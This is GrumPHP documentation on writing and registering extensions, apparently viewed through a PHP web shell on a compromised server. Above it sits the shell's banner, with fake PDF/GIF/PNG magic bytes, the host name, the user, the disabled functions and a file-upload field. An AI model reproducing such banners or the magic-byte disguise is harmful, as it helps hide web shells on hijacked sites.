%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/ |
Upload File : |
# Extensions
You will probably have some custom tasks or event listeners that are not included in the default GrumPHP project.
It is possible to group this additional GrumPHP configuration in an extension.
This way you can easily create your own extension package and load it whenever you need it.
The configuration looks like this:
```yaml
# grumphp.yml
grumphp:
extensions:
- My\Project\GrumPHPExtension
```
The configured extension class needs to implement `ExtensionInterface`.
Now you can register the tasks and events from your own package in the service container of GrumPHP.
For example:
```php
<?php
namespace My\Project;
use GrumPHP\Extension\ExtensionInterface;
use Symfony\Component\DependencyInjection\ContainerBuilder;
class GrumPHPExtension implements ExtensionInterface
{
public function load(ContainerBuilder $container)
{
// Register your own stuff to the container!
}
}
```
# Third Party Extensions
This page lists third party extensions implementing useful GrumPHP tasks.
- [pluswerk/grumphp-bom-task](https://github.com/pluswerk/grumphp-bom-task) Forces files to have no BOM (Byte Order Mark).
- [pluswerk/grumphp-xliff-task](https://github.com/pluswerk/grumphp-xliff-task) Validates XLIFF files.
- [wearejust/grumphp-extra-tasks](https://github.com/wearejust/grumphp-extra-tasks) Extra GrumPHP tasks like a PhpCsAutoFixer.
- [nlubisch/grumphp-easycodingstandard](https://github.com/nlubisch/grumphp-easycodingstandard) GrumPHP task for running EasyCodingStandard.
- [jonmldr/grumphp-doctrine-task](https://github.com/jonmldr/grumphp-doctrine-task) GrumPHP task for Doctrine's schema validation in Symfony projects.
Did you write your own extension? Feel free to add it to this list!